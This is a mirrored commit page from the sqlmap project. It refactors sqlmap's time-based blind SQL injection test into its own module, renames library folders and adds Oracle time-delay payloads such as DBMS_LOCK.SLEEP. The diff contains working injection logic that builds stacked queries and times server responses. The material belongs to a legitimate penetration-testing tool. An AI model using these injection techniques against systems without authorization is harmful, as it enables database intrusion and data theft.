Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit ecc4a98

Browse files
committed
Properly moved and improved inject.goStacked() function and newly
implemented Time based blind SQL injection now is a single test file within the lib/techniques/ folder. Renamed lib/techniques/inference to lib/techniques/blind, it is more approriate and adapted the rest of the libraries. Updated ChangeLog file.
1 parent 9329f8c commit ecc4a98

10 files changed

Lines changed: 63 additions & 31 deletions

File tree

doc/ChangeLog

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,17 @@ sqlmap (0.6.3-1) stable; urgency=low
22

33
* Minor enhancement to be able to specify the number of seconds to wait
44
between each HTTP request;
5+
* Minor enhancement to be able to enumerate table columns and dump table
6+
entries also if the database name is not provided by using the current
7+
database on MySQL and MSSQL, the 'public' scheme on PostgreSQL and the
8+
'USERS' TABLESPACE_NAME on Oracle;
59
* Minor improvements to sqlmap Debian package files: sqlmap uploaded
610
to official Debian project repository;
711
* Minor bug fix to handle session.error and session.timeout in HTTP
812
requests;
13+
* Minor bug fix so that when the user provide a SELECT statement to be
14+
processed with an asterisk as columns, now it also work if in the FROM
15+
there is no database name specified;
916
* Minor bug fix to correctly dump table entries when the column is
1017
provided;
1118

lib/controller/action.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@
3131
from lib.core.dump import dumper
3232
from lib.core.exception import sqlmapUnsupportedDBMSException
3333
from lib.core.settings import SUPPORTED_DBMS
34+
from lib.techniques.blind.timebased import timeTest
3435
from lib.techniques.inband.union.test import unionTest
3536

3637

@@ -70,7 +71,7 @@ def action():
7071

7172
# Techniques options
7273
if conf.timeTest:
73-
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
74+
dumper.string("time based blind sql injection payload", timeTest())
7475

7576
if conf.unionTest:
7677
dumper.string("valid union", unionTest())

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,4 +65,4 @@
6565

6666
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
6767

68-
TIME_SECONDS = 5
68+
TIME_DELAY = 5

lib/request/inject.py

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -38,10 +38,10 @@
3838
from lib.core.data import logger
3939
from lib.core.data import queries
4040
from lib.core.data import temp
41-
from lib.core.settings import TIME_SECONDS
41+
from lib.core.settings import TIME_DELAY
4242
from lib.request.connect import Connect as Request
4343
from lib.techniques.inband.union.use import unionUse
44-
from lib.techniques.inference.blind import bisection
44+
from lib.techniques.blind.inference import bisection
4545
from lib.utils.resume import queryOutputLength
4646
from lib.utils.resume import resume
4747

@@ -388,15 +388,16 @@ def goStacked(expression, timeTest=False):
388388
TODO: write description
389389
"""
390390

391+
comment = queries[kb.dbms].comment
391392
query = agent.prefixQuery("; %s" % expression)
392-
query = agent.postfixQuery(query)
393+
query = agent.postfixQuery("%s; %s" % (query, comment))
393394
payload = agent.payload(newValue=query)
394395

395396
start = time.time()
396397
Request.queryPage(payload)
397398
duration = int(time.time() - start)
398399

399400
if timeTest:
400-
return (duration >= TIME_SECONDS, payload)
401+
return (duration >= TIME_DELAY, payload)
401402
else:
402-
return duration >= TIME_SECONDS
403+
return duration >= TIME_DELAY

lib/techniques/blind/timebased.py

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
7+
8+
Copyright (c) 2006-2008 Bernardo Damele A. G. <[email protected]>
9+
and Daniele Bellucci <[email protected]>
10+
11+
sqlmap is free software; you can redistribute it and/or modify it under
12+
the terms of the GNU General Public License as published by the Free
13+
Software Foundation version 2 of the License.
14+
15+
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16+
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17+
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
18+
details.
19+
20+
You should have received a copy of the GNU General Public License along
21+
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22+
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
23+
"""
24+
25+
26+
27+
from lib.core.data import kb
28+
from lib.core.data import logger
29+
from lib.core.data import queries
30+
from lib.core.settings import TIME_DELAY
31+
from lib.request import inject
32+
33+
34+
def timeTest():
35+
infoMsg = "testing time based blind sql injection on parameter "
36+
infoMsg += "'%s'" % kb.injParameter
37+
logger.info(infoMsg)
38+
39+
query = queries[kb.dbms].timedelay % TIME_DELAY
40+
timeTest = inject.goStacked(query, timeTest=True)
41+
42+
if timeTest[0] == True:
43+
return timeTest[1]
44+
else:
45+
return None

lib/utils/resume.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,7 @@
3232
from lib.core.data import logger
3333
from lib.core.data import queries
3434
from lib.core.unescaper import unescaper
35-
from lib.techniques.inference.blind import bisection
35+
from lib.techniques.blind.inference import bisection
3636

3737

3838
def queryOutputLength(expression, payload):

plugins/generic/enumeration.py

Lines changed: 0 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,6 @@
3939
from lib.core.exception import sqlmapNoneDataException
4040
from lib.core.exception import sqlmapUndefinedMethod
4141
from lib.core.exception import sqlmapUnsupportedFeatureException
42-
from lib.core.settings import TIME_SECONDS
4342
from lib.core.shell import autoCompletion
4443
from lib.core.unescaper import unescaper
4544
from lib.request import inject
@@ -69,27 +68,6 @@ def __init__(self, dbms):
6968
temp.inference = queries[dbms].inference
7069

7170

72-
# TODO: move this function to an appropriate file
73-
def timeTest(self):
74-
infoMsg = "testing time based blind sql injection on parameter "
75-
infoMsg += "'%s'" % kb.injParameter
76-
logger.info(infoMsg)
77-
78-
# TODO: probably the '; <COMMENT>' will be filled in in all
79-
# future time based SQL injection attacks at the end of the
80-
# stacked query. Find a way that goStacked() function itself
81-
# append it.
82-
query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS
83-
query += queries[kb.dbms].comment
84-
85-
self.timeTest = inject.goStacked(query, timeTest=True)
86-
87-
if self.timeTest[0] == True:
88-
return "True, verified with payload: %s" % self.timeTest[1]
89-
else:
90-
return "False"
91-
92-
9371
def forceDbmsEnum(self):
9472
pass
9573

xml/queries.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@
7272
<order query="ORDER BY %s ASC"/>
7373
<count query="COUNT(%s)"/>
7474
<comment query="--"/>
75-
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="SELECT UTL_INADDR.get_host_name('10.0.0.%d') FROM DUAL"/>
75+
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
7676
<substring query="SUBSTR((%s), %d, %d)"/>
7777
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
7878
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>

0 commit comments

Comments
 (0)